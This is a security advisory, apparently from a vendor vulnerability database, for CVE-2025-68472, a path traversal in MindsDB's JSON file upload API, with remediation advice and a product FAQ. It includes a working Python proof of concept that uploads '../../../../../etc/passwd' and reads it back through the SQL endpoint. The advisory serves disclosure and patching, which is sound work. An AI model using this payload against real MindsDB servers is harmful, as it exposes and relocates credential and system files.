Summary
BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.
Details
The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":
data = request.json(line ~104) accepts attacker input without validation.file_path = os.path.join(temp_dir_path, data["file"])(line ~178) creates the path inside a temporary directory, but ifdata["file"]is absolute (e.g.,/home/secret.csv),os.path.joinignorestemp_dir_pathand targets the attacker-specified location.- The resulting path is handed to
ca.file_controller.save_file(...), which wrapsFileReader(path=source_path)(mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequentshutil.move(file_path, ...)call also relocates the victim file into MindsDB’s managed storage.
Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.
PoC
- Run MindsDB in Docker:
docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest - Execute the exploit from the host (save as poc.py and run with
python poc.py):# poc.py import requests, json base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text) q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) - The SQL response returns the contents of
/etc/passwd. The original file disappears from its source location because the handler moves it into MindsDB’s storage directory. - Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal
Impact
- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2025-68472 has a CVSS score of 8.1 (High). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (25.11.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-68472? CVE-2025-68472 is a high-severity path traversal vulnerability in MindsDB (pip), affecting versions < 25.11.1. It is fixed in 25.11.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2025-68472? CVE-2025-68472 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of MindsDB are affected by CVE-2025-68472? MindsDB (pip) versions < 25.11.1 is affected.
- Is there a fix for CVE-2025-68472? Yes. CVE-2025-68472 is fixed in 25.11.1. Upgrade to this version or later.
- Is CVE-2025-68472 exploitable, and should I be worried? Whether CVE-2025-68472 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-68472 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-68472? Upgrade
MindsDBto 25.11.1 or later.